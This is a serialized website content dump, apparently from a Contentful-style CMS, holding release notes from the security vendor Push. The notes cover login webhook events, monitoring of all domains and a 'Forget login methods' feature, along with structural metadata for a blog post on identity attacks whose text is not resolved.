You can enable the ",{"data":198214,"marks":198215,"value":198217,"nodeType":865},{},[198216],{"type":926},"Monitor all domains",{"data":198219,"marks":198220,"value":198221,"nodeType":865},{},[]," feature on the ",{"data":198223,"marks":198224,"value":58582,"nodeType":865},{},[198225],{"type":926},{"data":198227,"marks":198228,"value":198229,"nodeType":865},{},[]," page of the Push admin console.",{"data":198231,"content":198235,"nodeType":912},{"target":198232},{"sys":198233},{"id":198234,"type":909,"linkType":910},"3yzCMeWPk0kcpkfdRhKMpc",[],{"data":198237,"content":198238,"nodeType":866},{},[198239,198242,198251],{"data":198240,"marks":198241,"value":21,"nodeType":865},{},[],{"data":198243,"content":198247,"nodeType":33606},{"target":198244},{"sys":198245},{"id":198246,"type":909,"linkType":910},"4Z9ApuJ9JkrdsW9BfMIkQf",[198248],{"data":198249,"marks":198250,"value":192806,"nodeType":865},{},[],{"data":198252,"marks":198253,"value":21,"nodeType":865},{},[],{"data":198255,"content":198256,"nodeType":1317},{},[198257],{"data":198258,"marks":198259,"value":198260,"nodeType":865},{},[],"Better monitoring with Login webhook event",{"data":198262,"content":198263,"nodeType":866},{},[198264],{"data":198265,"marks":198266,"value":198267,"nodeType":865},{},[],"You can now receive a webhook event any time employees perform a login to a work app. This event also captures the user’s IP address, browser, OS, and browser user-agent string. ",{"data":198269,"content":198270,"nodeType":866},{},[198271],{"data":198272,"marks":198273,"value":198274,"nodeType":865},{},[],"Use this data to alert you anytime someone uses a password to access a SAML-integrated app, check if users are accessing apps with non-work devices, identify unexpected identity providers or login methods for a particular app — or any other detections you can dream up!",{"data":198276,"content":198277,"nodeType":866},{},[198278,198281,198287],{"data":198279,"marks":198280,"value":21,"nodeType":865},{},[],{"data":198282,"content":198283,"nodeType":889},{"uri":155413},[198284],{"data":198285,"marks":198286,"value":34483,"nodeType":865},{},[],{"data":198288,"marks":198289,"value":21,"nodeType":865},{},[],{"data":198291,"content":198292,"nodeType":1317},{},[198293],{"data":198294,"marks":198295,"value":198296,"nodeType":865},{},[],"Detect password usage to recently onboarded SSO apps",{"data":198298,"content":198299,"nodeType":866},{},[198300,198304,198309],{"data":198301,"marks":198302,"value":198303,"nodeType":865},{},[],"If you’ve recently onboarded an app to SSO, you probably want to know if users are still accessing it with orphan password-based accounts. You can now use the ",{"data":198305,"marks":198306,"value":198308,"nodeType":865},{},[198307],{"type":926},"Forget login methods",{"data":198310,"marks":198311,"value":198312,"nodeType":865},{},[]," feature in the Push admin console to remove older observed login methods for an app or account. If Push observes new login types, you’ll be able to quickly identify them (or set up a webhook, described above, to alert you directly). ",{"data":198314,"content":198315,"nodeType":866},{},[198316,198320,198324],{"data":198317,"marks":198318,"value":198319,"nodeType":865},{},[],"You can also use the ",{"data":198321,"marks":198322,"value":198308,"nodeType":865},{},[198323],{"type":926},{"data":198325,"marks":198326,"value":198327,"nodeType":865},{},[]," feature to clean up your data or remove old login methods that you know are no longer in use.",{"data":198329,"content":198333,"nodeType":912},{"target":198330},{"sys":198331},{"id":198332,"type":909,"linkType":910},"3WMEIQdgHWzG2Ws7y38JwI",[],{"data":198335,"content":198336,"nodeType":866},{},[198337,198340,198349],{"data":198338,"marks":198339,"value":21,"nodeType":865},{},[],{"data":198341,"content":198345,"nodeType":33606},{"target":198342},{"sys":198343},{"id":198344,"type":909,"linkType":910},"6d2kaN46h1B7MrmIiJ6iHw",[198346],{"data":198347,"marks":198348,"value":192806,"nodeType":865},{},[],{"data":198350,"marks":198351,"value":21,"nodeType":865},{},[],"Product release: February 2024","Here’s what’s new on the Push platform for February 2024.","2024-02-21T00:00:00.000Z","product-release-february-2024",{"items":198357},[198358],{"sys":198359,"name":126984},{"id":126983},{"items":198361},[198362],{"fullName":197438,"firstName":197439,"jobTitle":197440,"profilePicture":198363},{"url":197442},"product-release-may-2024","blog/product-release-may-2024",{"json":198367},{"data":198368,"content":198369,"nodeType":1382},{},[198370],{"data":198371,"content":198372,"nodeType":866},{},[198373],{"data":198374,"marks":198375,"value":198376,"nodeType":865},{},[],"Our latest development sprint focused on extending the power of the Push browser agent to detect and prevent identity attacks that evade traditional security controls. We’ve also enhanced our popular app banners feature, and added more API and webhooks options for managing Push programmatically.","Here’s what’s new on the Push platform for May 2024.",{"id":198379,"publishedAt":198380},"liumWpzvwXGmwbtKrvJdO","2026-08-12T11:55:23.412Z",{"items":198382},[198383],{"sys":198384,"name":126984},{"id":126983},{"items":198386},[198387,198389,198391,198393,198395,198397,198399,198401,198403,198405],{"sys":198388,"name":297,"slug":298,"tier":31},{"id":294},{"sys":198390,"name":519,"slug":520,"tier":31},{"id":516},{"sys":198392,"name":413,"slug":414,"tier":31},{"id":410},{"sys":198394,"name":545,"slug":546,"tier":31},{"id":542},{"sys":198396,"name":261,"slug":262,"tier":45},{"id":258},{"sys":198398,"name":571,"slug":572,"tier":45},{"id":568},{"sys":198400,"name":324,"slug":325,"tier":45},{"id":321},{"sys":198402,"name":502,"slug":503,"tier":45},{"id":499},{"sys":198404,"name":589,"slug":590,"tier":45},{"id":586},{"sys":198406,"name":466,"slug":467,"tier":45},{"id":463},"3cMwzHpH5lgHyUNIT_ws0cdID-QmAjyVtKK5bGOcNf8",{"id":198409,"title":185939,"authorsCollection":198410,"content":198415,"extension":228,"faqItemsCollection":201098,"faqTitle":59,"featured":6,"hashTags":59,"meta":201100,"metaTitle":201101,"ogImage":201102,"postType":42959,"publishedDate":185941,"relatedBlogPostsCollection":201104,"slug":185942,"stem":201781,"subtitle":59,"summary":201782,"synopsis":185940,"sys":201797,"tagsCollection":201799,"topicsCollection":201805,"__hash__":201847},"blog/blog/identity-attacks-in-the-wild.json",{"items":198411},[198412],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":198413,"profilePicture":198414},[30152],{"url":7804},{"json":198416,"links":201086},{"data":198417,"content":198418,"nodeType":1382},{},[198419,198425,198451,198457,198462,198468,198484,198505,198511,198517,198537,198550,198556,198566,198572,198575,198581,198587,198600,198610,198619,198645,198648,198654,198670,198676,198683,198768,198774,198890,198896,198997,199003,199009,199169,199175,199181,199256,199259,199265,199271,199277,199334,199340,199370,199376,199415,199421,199427,199646,199652,199659,199665,199668,199674,199680,199686,199734,199740,199779,199785,199815,199821,199827,199987,199993,200000,200006,200013,200019,200026,200032,200035,200041,200047,200053,200110,200116,200146,200152,200182,200188,200194,200295,200298,200304,200310,200316,200373,200379,200409,200415,200445,200451,200457,200621,200624,200630,200636,200642,200708,200714,200744,200750,200780,200786,200792,201011,201014,201020,201026,201032,201038,201041,201047,201053,201059,201062,201068,201074,201080],{"data":198420,"content":198421,"nodeType":981},{},[198422],{"data":198423,"marks":198424,"value":183010,"nodeType":865},{},[],{"data":198426,"content":198427,"nodeType":866},{},[198428,198431,198438,198441,198448],{"data":198429,"marks":198430,"value":183017,"nodeType":865},{},[],{"data":198432,"content":198433,"nodeType":889},{"uri":183020},[198434],{"data":198435,"marks":198436,"value":183026,"nodeType":865},{},[198437],{"type":943},{"data":198439,"marks":198440,"value":183030,"nodeType":865},{},[],{"data":198442,"content":198443,"nodeType":889},{"uri":183033},[198444],{"data":198445,"marks":198446,"value":183039,"nodeType":865},{},[198447],{"type":943},{"data":198449,"marks":198450,"value":1615,"nodeType":865},{},[],{"data":198452,"content":198453,"nodeType":866},{},[198454],{"data":198455,"marks":198456,"value":183049,"nodeType":865},{},[],{"data":198458,"content":198461,"nodeType":912},{"target":198459},{"sys":198460},{"id":183054,"type":909,"linkType":910},[],{"data":198463,"content":198464,"nodeType":866},{},[198465],{"data":198466,"marks":198467,"value":183062,"nodeType":865},{},[],{"data":198469,"content":198470,"nodeType":866},{},[198471,198474,198481],{"data":198472,"marks":198473,"value":183069,"nodeType":865},{},[],{"data":198475,"content":198476,"nodeType":889},{"uri":183072},[198477],{"data":198478,"marks":198479,"value":183078,"nodeType":865},{},[198480],{"type":943},{"data":198482,"marks":198483,"value":183082,"nodeType":865},{},[],{"data":198485,"content":198486,"nodeType":1616},{},[198487,198496],{"data":198488,"content":198489,"nodeType":1570},{},[198490],{"data":198491,"content":198492,"nodeType":866},{},[198493],{"data":198494,"marks":198495,"value":183095,"nodeType":865},{},[],{"data":198497,"content":198498,"nodeType":1570},{},[198499],{"data":198500,"content":198501,"nodeType":866},{},[198502],{"data":198503,"marks":198504,"value":183105,"nodeType":865},{},[],{"data":198506,"content":198507,"nodeType":866},{},[198508],{"data":198509,"marks":198510,"value":183112,"nodeType":865},{},[],{"data":198512,"content":198513,"nodeType":1317},{},[198514],{"data":198515,"marks":198516,"value":183119,"nodeType":865},{},[],{"data":198518,"content":198519,"nodeType":866},{},[198520,198523,198527,198530,198534],{"data":198521,"marks":198522,"value":183126,"nodeType":865},{},[],{"data":198524,"marks":198525,"value":183131,"nodeType":865},{},[198526],{"type":926},{"data":198528,"marks":198529,"value":183135,"nodeType":865},{},[],{"data":198531,"marks":198532,"value":183140,"nodeType":865},{},[198533],{"type":898},{"data":198535,"marks":198536,"value":5959,"nodeType":865},{},[],{"data":198538,"content":198539,"nodeType":866},{},[198540,198543,198547],{"data":198541,"marks":198542,"value":183150,"nodeType":865},{},[],{"data":198544,"marks":198545,"value":183155,"nodeType":865},{},[198546],{"type":926},{"data":198548,"marks":198549,"value":183159,"nodeType":865},{},[],{"data":198551,"content":198552,"nodeType":866},{},[198553],{"data":198554,"marks":198555,"value":183166,"nodeType":865},{},[],{"data":198557,"content":198558,"nodeType":866},{},[198559,198562],{"data":198560,"marks":198561,"value":183173,"nodeType":865},{},[],{"data":198563,"marks":198564,"value":183178,"nodeType":865},{},[198565],{"type":926},{"data":198567,"content":198568,"nodeType":866},{},[198569],{"data":198570,"marks":198571,"value":183185,"nodeType":865},{},[],{"data":198573,"content":198574,"nodeType":972},{},[],{"data":198576,"content":198577,"nodeType":981},{},[198578],{"data":198579,"marks":198580,"value":183195,"nodeType":865},{},[],{"data":198582,"content":198583,"nodeType":866},{},[198584],{"data":198585,"marks":198586,"value":183202,"nodeType":865},{},[],{"data":198588,"content":198589,"nodeType":866},{},[198590,198593,198597],{"data":198591,"marks":198592,"value":183209,"nodeType":865},{},[],{"data":198594,"marks":198595,"value":183214,"nodeType":865},{},[198596],{"type":898},{"data":198598,"marks":198599,"value":183218,"nodeType":865},{},[],{"data":198601,"content":198602,"nodeType":866},{},[198603,198606],{"data":198604,"marks":198605,"value":183225,"nodeType":865},{},[],{"data":198607,"marks":198608,"value":183230,"nodeType":865},{},[198609],{"type":926},{"data":198611,"content":198612,"nodeType":866},{},[198613,198616],{"data":198614,"marks":198615,"value":183237,"nodeType":865},{},[],{"data":198617,"marks":198618,"value":183241,"nodeType":865},{},[],{"data":198620,"content":198621,"nodeType":866},{},[198622,198625,198632,198635,198642],{"data":198623,"marks":198624,"value":183248,"nodeType":865},{},[],{"data":198626,"content":198627,"nodeType":889},{"uri":8393},[198628],{"data":198629,"marks":198630,"value":8396,"nodeType":865},{},[198631],{"type":943},{"data":198633,"marks":198634,"value":183259,"nodeType":865},{},[],{"data":198636,"content":198637,"nodeType":889},{"uri":183262},[198638],{"data":198639,"marks":198640,"value":183268,"nodeType":865},{},[198641],{"type":943},{"data":198643,"marks":198644,"value":6719,"nodeType":865},{},[],{"data":198646,"content":198647,"nodeType":972},{},[],{"data":198649,"content":198650,"nodeType":981},{},[198651],{"data":198652,"marks":198653,"value":183281,"nodeType":865},{},[],{"data":198655,"content":198656,"nodeType":866},{},[198657,198660,198667],{"data":198658,"marks":198659,"value":183288,"nodeType":865},{},[],{"data":198661,"content":198662,"nodeType":889},{"uri":15841},[198663],{"data":198664,"marks":198665,"value":183296,"nodeType":865},{},[198666],{"type":943},{"data":198668,"marks":198669,"value":14251,"nodeType":865},{},[],{"data":198671,"content":198672,"nodeType":1317},{},[198673],{"data":198674,"marks":198675,"value":183306,"nodeType":865},{},[],{"data":198677,"content":198678,"nodeType":866},{},[198679],{"data":198680,"marks":198681,"value":183314,"nodeType":865},{},[198682],{"type":898},{"data":198684,"content":198685,"nodeType":1616},{},[198686,198695,198714,198723,198732,198741,198750,198759],{"data":198687,"content":198688,"nodeType":1570},{},[198689],{"data":198690,"content":198691,"nodeType":866},{},[198692],{"data":198693,"marks":198694,"value":183327,"nodeType":865},{},[],{"data":198696,"content":198697,"nodeType":1570},{},[198698],{"data":198699,"content":198700,"nodeType":866},{},[198701,198704,198711],{"data":198702,"marks":198703,"value":183337,"nodeType":865},{},[],{"data":198705,"content":198706,"nodeType":889},{"uri":162474},[198707],{"data":198708,"marks":198709,"value":183345,"nodeType":865},{},[198710],{"type":943},{"data":198712,"marks":198713,"value":183349,"nodeType":865},{},[],{"data":198715,"content":198716,"nodeType":1570},{},[198717],{"data":198718,"content":198719,"nodeType":866},{},[198720],{"data":198721,"marks":198722,"value":183359,"nodeType":865},{},[],{"data":198724,"content":198725,"nodeType":1570},{},[198726],{"data":198727,"content":198728,"nodeType":866},{},[198729],{"data":198730,"marks":198731,"value":61882,"nodeType":865},{},[],{"data":198733,"content":198734,"nodeType":1570},{},[198735],{"data":198736,"content":198737,"nodeType":866},{},[198738],{"data":198739,"marks":198740,"value":61892,"nodeType":865},{},[],{"data":198742,"content":198743,"nodeType":1570},{},[198744],{"data":198745,"content":198746,"nodeType":866},{},[198747],{"data":198748,"marks":198749,"value":61902,"nodeType":865},{},[],{"data":198751,"content":198752,"nodeType":1570},{},[198753],{"data":198754,"content":198755,"nodeType":866},{},[198756],{"data":198757,"marks":198758,"value":183396,"nodeType":865},{},[],{"data":198760,"content":198761,"nodeType":1570},{},[198762],{"data":198763,"content":198764,"nodeType":866},{},[198765],{"data":198766,"marks":198767,"value":183406,"nodeType":865},{},[],{"data":198769,"content":198770,"nodeType":1317},{},[198771],{"data":198772,"marks":198773,"value":183413,"nodeType":865},{},[],{"data":198775,"content":198776,"nodeType":1616},{},[198777,198793,198819,198842,198858,198874],{"data":198778,"content":198779,"nodeType":1570},{},[198780],{"data":198781,"content":198782,"nodeType":866},{},[198783,198786,198790],{"data":198784,"marks":198785,"value":183426,"nodeType":865},{},[],{"data":198787,"marks":198788,"value":183431,"nodeType":865},{},[198789],{"type":926},{"data":198791,"marks":198792,"value":183435,"nodeType":865},{},[],{"data":198794,"content":198795,"nodeType":1570},{},[198796],{"data":198797,"content":198798,"nodeType":866},{},[198799,198802,198806,198809,198816],{"data":198800,"marks":198801,"value":183445,"nodeType":865},{},[],{"data":198803,"marks":198804,"value":183450,"nodeType":865},{},[198805],{"type":926},{"data":198807,"marks":198808,"value":183454,"nodeType":865},{},[],{"data":198810,"content":198811,"nodeType":889},{"uri":61637},[198812],{"data":198813,"marks":198814,"value":61643,"nodeType":865},{},[198815],{"type":943},{"data":198817,"marks":198818,"value":61647,"nodeType":865},{},[],{"data":198820,"content":198821,"nodeType":1570},{},[198822],{"data":198823,"content":198824,"nodeType":866},{},[198825,198828,198832,198835,198839],{"data":198826,"marks":198827,"value":183474,"nodeType":865},{},[],{"data":198829,"marks":198830,"value":183479,"nodeType":865},{},[198831],{"type":926},{"data":198833,"marks":198834,"value":183483,"nodeType":865},{},[],{"data":198836,"marks":198837,"value":183488,"nodeType":865},{},[198838],{"type":926},{"data":198840,"marks":198841,"value":183492,"nodeType":865},{},[],{"data":198843,"content":198844,"nodeType":1570},{},[198845],{"data":198846,"content":198847,"nodeType":866},{},[198848,198851,198855],{"data":198849,"marks":198850,"value":183502,"nodeType":865},{},[],{"data":198852,"marks":198853,"value":183507,"nodeType":865},{},[198854],{"type":926},{"data":198856,"marks":198857,"value":183511,"nodeType":865},{},[],{"data":198859,"content":198860,"nodeType":1570},{},[198861],{"data":198862,"content":198863,"nodeType":866},{},[198864,198867,198871],{"data":198865,"marks":198866,"value":183521,"nodeType":865},{},[],{"data":198868,"marks":198869,"value":183526,"nodeType":865},{},[198870],{"type":926},{"data":198872,"marks":198873,"value":183530,"nodeType":865},{},[],{"data":198875,"content":198876,"nodeType":1570},{},[198877],{"data":198878,"content":198879,"nodeType":866},{},[198880,198883,198887],{"data":198881,"marks":198882,"value":183540,"nodeType":865},{},[],{"data":198884,"marks":198885,"value":183545,"nodeType":865},{},[198886],{"type":926},{"data":198888,"marks":198889,"value":183549,"nodeType":865},{},[],{"data":198891,"content":198892,"nodeType":1317},{},[198893],{"data":198894,"marks":198895,"value":183556,"nodeType":865},{},[],{"data":198897,"content":198898,"nodeType":1616},{},[198899,198915,198951,198974],{"data":198900,"content":198901,"nodeType":1570},{},[198902],{"data":198903,"content":198904,"nodeType":866},{},[198905,198908,198912],{"data":198906,"marks":198907,"value":183569,"nodeType":865},{},[],{"data":198909,"marks":198910,"value":183574,"nodeType":865},{},[198911],{"type":926},{"data":198913,"marks":198914,"value":183578,"nodeType":865},{},[],{"data":198916,"content":198917,"nodeType":1570},{},[198918],{"data":198919,"content":198920,"nodeType":866},{},[198921,198924,198931,198934,198938,198941,198948],{"data":198922,"marks":198923,"value":183588,"nodeType":865},{},[],{"data":198925,"content":198926,"nodeType":889},{"uri":183591},[198927],{"data":198928,"marks":198929,"value":6715,"nodeType":865},{},[198930],{"type":943},{"data":198932,"marks":198933,"value":2717,"nodeType":865},{},[],{"data":198935,"marks":198936,"value":183604,"nodeType":865},{},[198937],{"type":926},{"data":198939,"marks":198940,"value":183608,"nodeType":865},{},[],{"data":198942,"content":198943,"nodeType":889},{"uri":169364},[198944],{"data":198945,"marks":198946,"value":183616,"nodeType":865},{},[198947],{"type":943},{"data":198949,"marks":198950,"value":113401,"nodeType":865},{},[],{"data":198952,"content":198953,"nodeType":1570},{},[198954],{"data":198955,"content":198956,"nodeType":866},{},[198957,198961,198964,198971],{"data":198958,"marks":198959,"value":183630,"nodeType":865},{},[198960],{"type":926},{"data":198962,"marks":198963,"value":183634,"nodeType":865},{},[],{"data":198965,"content":198966,"nodeType":889},{"uri":62047},[198967],{"data":198968,"marks":198969,"value":183642,"nodeType":865},{},[198970],{"type":943},{"data":198972,"marks":198973,"value":183646,"nodeType":865},{},[],{"data":198975,"content":198976,"nodeType":1570},{},[198977],{"data":198978,"content":198979,"nodeType":866},{},[198980,198983,198987,198990,198994],{"data":198981,"marks":198982,"value":183656,"nodeType":865},{},[],{"data":198984,"marks":198985,"value":183661,"nodeType":865},{},[198986],{"type":926},{"data":198988,"marks":198989,"value":183665,"nodeType":865},{},[],{"data":198991,"marks":198992,"value":183670,"nodeType":865},{},[198993],{"type":926},{"data":198995,"marks":198996,"value":183674,"nodeType":865},{},[],{"data":198998,"content":198999,"nodeType":1317},{},[199000],{"data":199001,"marks":199002,"value":183681,"nodeType":865},{},[],{"data":199004,"content":199005,"nodeType":866},{},[199006],{"data":199007,"marks":199008,"value":183688,"nodeType":865},{},[],{"data":199010,"content":199011,"nodeType":2927},{},[199012,199051,199110],{"data":199013,"content":199014,"nodeType":2400},{},[199015,199024,199033,199042],{"data":199016,"content":199017,"nodeType":38076},{},[199018],{"data":199019,"content":199020,"nodeType":866},{},[199021],{"data":199022,"marks":199023,"value":183704,"nodeType":865},{},[],{"data":199025,"content":199026,"nodeType":38076},{},[199027],{"data":199028,"content":199029,"nodeType":866},{},[199030],{"data":199031,"marks":199032,"value":183714,"nodeType":865},{},[],{"data":199034,"content":199035,"nodeType":38076},{},[199036],{"data":199037,"content":199038,"nodeType":866},{},[199039],{"data":199040,"marks":199041,"value":183724,"nodeType":865},{},[],{"data":199043,"content":199044,"nodeType":38076},{},[199045],{"data":199046,"content":199047,"nodeType":866},{},[199048],{"data":199049,"marks":199050,"value":183734,"nodeType":865},{},[],{"data":199052,"content":199053,"nodeType":2400},{},[199054,199073,199092,199101],{"data":199055,"content":199056,"nodeType":2366},{},[199057],{"data":199058,"content":199059,"nodeType":866},{},[199060,199063,199070],{"data":199061,"marks":199062,"value":21,"nodeType":865},{},[],{"data":199064,"content":199065,"nodeType":889},{"uri":53259},[199066],{"data":199067,"marks":199068,"value":183754,"nodeType":865},{},[199069],{"type":943},{"data":199071,"marks":199072,"value":21,"nodeType":865},{},[],{"data":199074,"content":199075,"nodeType":2366},{},[199076],{"data":199077,"content":199078,"nodeType":866},{},[199079,199082,199089],{"data":199080,"marks":199081,"value":21,"nodeType":865},{},[],{"data":199083,"content":199084,"nodeType":889},{"uri":183591},[199085],{"data":199086,"marks":199087,"value":395,"nodeType":865},{},[199088],{"type":943},{"data":199090,"marks":199091,"value":21,"nodeType":865},{},[],{"data":199093,"content":199094,"nodeType":2366},{},[199095],{"data":199096,"content":199097,"nodeType":866},{},[199098],{"data":199099,"marks":199100,"value":183786,"nodeType":865},{},[],{"data":199102,"content":199103,"nodeType":2366},{},[199104],{"data":199105,"content":199106,"nodeType":866},{},[199107],{"data":199108,"marks":199109,"value":183796,"nodeType":865},{},[],{"data":199111,"content":199112,"nodeType":2400},{},[199113,199132,199151,199160],{"data":199114,"content":199115,"nodeType":2366},{},[199116],{"data":199117,"content":199118,"nodeType":866},{},[199119,199122,199129],{"data":199120,"marks":199121,"value":21,"nodeType":865},{},[],{"data":199123,"content":199124,"nodeType":889},{"uri":147580},[199125],{"data":199126,"marks":199127,"value":183816,"nodeType":865},{},[199128],{"type":943},{"data":199130,"marks":199131,"value":21,"nodeType":865},{},[],{"data":199133,"content":199134,"nodeType":2366},{},[199135],{"data":199136,"content":199137,"nodeType":866},{},[199138,199141,199148],{"data":199139,"marks":199140,"value":21,"nodeType":865},{},[],{"data":199142,"content":199143,"nodeType":889},{"uri":183831},[199144],{"data":199145,"marks":199146,"value":169556,"nodeType":865},{},[199147],{"type":943},{"data":199149,"marks":199150,"value":21,"nodeType":865},{},[],{"data":199152,"content":199153,"nodeType":2366},{},[199154],{"data":199155,"content":199156,"nodeType":866},{},[199157],{"data":199158,"marks":199159,"value":183849,"nodeType":865},{},[],{"data":199161,"content":199162,"nodeType":2366},{},[199163],{"data":199164,"content":199165,"nodeType":866},{},[199166],{"data":199167,"marks":199168,"value":183859,"nodeType":865},{},[],{"data":199170,"content":199171,"nodeType":1317},{},[199172],{"data":199173,"marks":199174,"value":183866,"nodeType":865},{},[],{"data":199176,"content":199177,"nodeType":866},{},[199178],{"data":199179,"marks":199180,"value":183873,"nodeType":865},{},[],{"data":199182,"content":199183,"nodeType":1616},{},[199184,199193,199202,199211,199220,199229,199238,199247],{"data":199185,"content":199186,"nodeType":1570},{},[199187],{"data":199188,"content":199189,"nodeType":866},{},[199190],{"data":199191,"marks":199192,"value":183886,"nodeType":865},{},[],{"data":199194,"content":199195,"nodeType":1570},{},[199196],{"data":199197,"content":199198,"nodeType":866},{},[199199],{"data":199200,"marks":199201,"value":183896,"nodeType":865},{},[],{"data":199203,"content":199204,"nodeType":1570},{},[199205],{"data":199206,"content":199207,"nodeType":866},{},[199208],{"data":199209,"marks":199210,"value":183906,"nodeType":865},{},[],{"data":199212,"content":199213,"nodeType":1570},{},[199214],{"data":199215,"content":199216,"nodeType":866},{},[199217],{"data":199218,"marks":199219,"value":183916,"nodeType":865},{},[],{"data":199221,"content":199222,"nodeType":1570},{},[199223],{"data":199224,"content":199225,"nodeType":866},{},[199226],{"data":199227,"marks":199228,"value":183926,"nodeType":865},{},[],{"data":199230,"content":199231,"nodeType":1570},{},[199232],{"data":199233,"content":199234,"nodeType":866},{},[199235],{"data":199236,"marks":199237,"value":183936,"nodeType":865},{},[],{"data":199239,"content":199240,"nodeType":1570},{},[199241],{"data":199242,"content":199243,"nodeType":866},{},[199244],{"data":199245,"marks":199246,"value":183946,"nodeType":865},{},[],{"data":199248,"content":199249,"nodeType":1570},{},[199250],{"data":199251,"content":199252,"nodeType":866},{},[199253],{"data":199254,"marks":199255,"value":183956,"nodeType":865},{},[],{"data":199257,"content":199258,"nodeType":972},{},[],{"data":199260,"content":199261,"nodeType":981},{},[199262],{"data":199263,"marks":199264,"value":183966,"nodeType":865},{},[],{"data":199266,"content":199267,"nodeType":866},{},[199268],{"data":199269,"marks":199270,"value":183973,"nodeType":865},{},[],{"data":199272,"content":199273,"nodeType":1317},{},[199274],{"data":199275,"marks":199276,"value":183980,"nodeType":865},{},[],{"data":199278,"content":199279,"nodeType":1616},{},[199280,199289,199298,199307,199316,199325],{"data":199281,"content":199282,"nodeType":1570},{},[199283],{"data":199284,"content":199285,"nodeType":866},{},[199286],{"data":199287,"marks":199288,"value":183993,"nodeType":865},{},[],{"data":199290,"content":199291,"nodeType":1570},{},[199292],{"data":199293,"content":199294,"nodeType":866},{},[199295],{"data":199296,"marks":199297,"value":184003,"nodeType":865},{},[],{"data":199299,"content":199300,"nodeType":1570},{},[199301],{"data":199302,"content":199303,"nodeType":866},{},[199304],{"data":199305,"marks":199306,"value":184013,"nodeType":865},{},[],{"data":199308,"content":199309,"nodeType":1570},{},[199310],{"data":199311,"content":199312,"nodeType":866},{},[199313],{"data":199314,"marks":199315,"value":184023,"nodeType":865},{},[],{"data":199317,"content":199318,"nodeType":1570},{},[199319],{"data":199320,"content":199321,"nodeType":866},{},[199322],{"data":199323,"marks":199324,"value":184033,"nodeType":865},{},[],{"data":199326,"content":199327,"nodeType":1570},{},[199328],{"data":199329,"content":199330,"nodeType":866},{},[199331],{"data":199332,"marks":199333,"value":184043,"nodeType":865},{},[],{"data":199335,"content":199336,"nodeType":1317},{},[199337],{"data":199338,"marks":199339,"value":184050,"nodeType":865},{},[],{"data":199341,"content":199342,"nodeType":1616},{},[199343,199352,199361],{"data":199344,"content":199345,"nodeType":1570},{},[199346],{"data":199347,"content":199348,"nodeType":866},{},[199349],{"data":199350,"marks":199351,"value":184063,"nodeType":865},{},[],{"data":199353,"content":199354,"nodeType":1570},{},[199355],{"data":199356,"content":199357,"nodeType":866},{},[199358],{"data":199359,"marks":199360,"value":184073,"nodeType":865},{},[],{"data":199362,"content":199363,"nodeType":1570},{},[199364],{"data":199365,"content":199366,"nodeType":866},{},[199367],{"data":199368,"marks":199369,"value":184083,"nodeType":865},{},[],{"data":199371,"content":199372,"nodeType":1317},{},[199373],{"data":199374,"marks":199375,"value":184090,"nodeType":865},{},[],{"data":199377,"content":199378,"nodeType":1616},{},[199379,199388,199397,199406],{"data":199380,"content":199381,"nodeType":1570},{},[199382],{"data":199383,"content":199384,"nodeType":866},{},[199385],{"data":199386,"marks":199387,"value":184103,"nodeType":865},{},[],{"data":199389,"content":199390,"nodeType":1570},{},[199391],{"data":199392,"content":199393,"nodeType":866},{},[199394],{"data":199395,"marks":199396,"value":184113,"nodeType":865},{},[],{"data":199398,"content":199399,"nodeType":1570},{},[199400],{"data":199401,"content":199402,"nodeType":866},{},[199403],{"data":199404,"marks":199405,"value":184123,"nodeType":865},{},[],{"data":199407,"content":199408,"nodeType":1570},{},[199409],{"data":199410,"content":199411,"nodeType":866},{},[199412],{"data":199413,"marks":199414,"value":184133,"nodeType":865},{},[],{"data":199416,"content":199417,"nodeType":1317},{},[199418],{"data":199419,"marks":199420,"value":183681,"nodeType":865},{},[],{"data":199422,"content":199423,"nodeType":866},{},[199424],{"data":199425,"marks":199426,"value":183688,"nodeType":865},{},[],{"data":199428,"content":199429,"nodeType":2927},{},[199430,199469,199528,199587],{"data":199431,"content":199432,"nodeType":2400},{},[199433,199442,199451,199460],{"data":199434,"content":199435,"nodeType":38076},{},[199436],{"data":199437,"content":199438,"nodeType":866},{},[199439],{"data":199440,"marks":199441,"value":183704,"nodeType":865},{},[],{"data":199443,"content":199444,"nodeType":38076},{},[199445],{"data":199446,"content":199447,"nodeType":866},{},[199448],{"data":199449,"marks":199450,"value":184170,"nodeType":865},{},[],{"data":199452,"content":199453,"nodeType":38076},{},[199454],{"data":199455,"content":199456,"nodeType":866},{},[199457],{"data":199458,"marks":199459,"value":183724,"nodeType":865},{},[],{"data":199461,"content":199462,"nodeType":38076},{},[199463],{"data":199464,"content":199465,"nodeType":866},{},[199466],{"data":199467,"marks":199468,"value":183734,"nodeType":865},{},[],{"data":199470,"content":199471,"nodeType":2400},{},[199472,199491,199510,199519],{"data":199473,"content":199474,"nodeType":2366},{},[199475],{"data":199476,"content":199477,"nodeType":866},{},[199478,199481,199488],{"data":199479,"marks":199480,"value":21,"nodeType":865},{},[],{"data":199482,"content":199483,"nodeType":889},{"uri":169182},[199484],{"data":199485,"marks":199486,"value":184208,"nodeType":865},{},[199487],{"type":943},{"data":199489,"marks":199490,"value":21,"nodeType":865},{},[],{"data":199492,"content":199493,"nodeType":2366},{},[199494],{"data":199495,"content":199496,"nodeType":866},{},[199497,199500,199507],{"data":199498,"marks":199499,"value":21,"nodeType":865},{},[],{"data":199501,"content":199502,"nodeType":889},{"uri":184223},[199503],{"data":199504,"marks":199505,"value":333,"nodeType":865},{},[199506],{"type":943},{"data":199508,"marks":199509,"value":21,"nodeType":865},{},[],{"data":199511,"content":199512,"nodeType":2366},{},[199513],{"data":199514,"content":199515,"nodeType":866},{},[199516],{"data":199517,"marks":199518,"value":184241,"nodeType":865},{},[],{"data":199520,"content":199521,"nodeType":2366},{},[199522],{"data":199523,"content":199524,"nodeType":866},{},[199525],{"data":199526,"marks":199527,"value":184251,"nodeType":865},{},[],{"data":199529,"content":199530,"nodeType":2400},{},[199531,199550,199569,199578],{"data":199532,"content":199533,"nodeType":2366},{},[199534],{"data":199535,"content":199536,"nodeType":866},{},[199537,199540,199547],{"data":199538,"marks":199539,"value":21,"nodeType":865},{},[],{"data":199541,"content":199542,"nodeType":889},{"uri":169773},[199543],{"data":199544,"marks":199545,"value":184271,"nodeType":865},{},[199546],{"type":943},{"data":199548,"marks":199549,"value":21,"nodeType":865},{},[],{"data":199551,"content":199552,"nodeType":2366},{},[199553],{"data":199554,"content":199555,"nodeType":866},{},[199556,199559,199566],{"data":199557,"marks":199558,"value":21,"nodeType":865},{},[],{"data":199560,"content":199561,"nodeType":889},{"uri":184286},[199562],{"data":199563,"marks":199564,"value":169779,"nod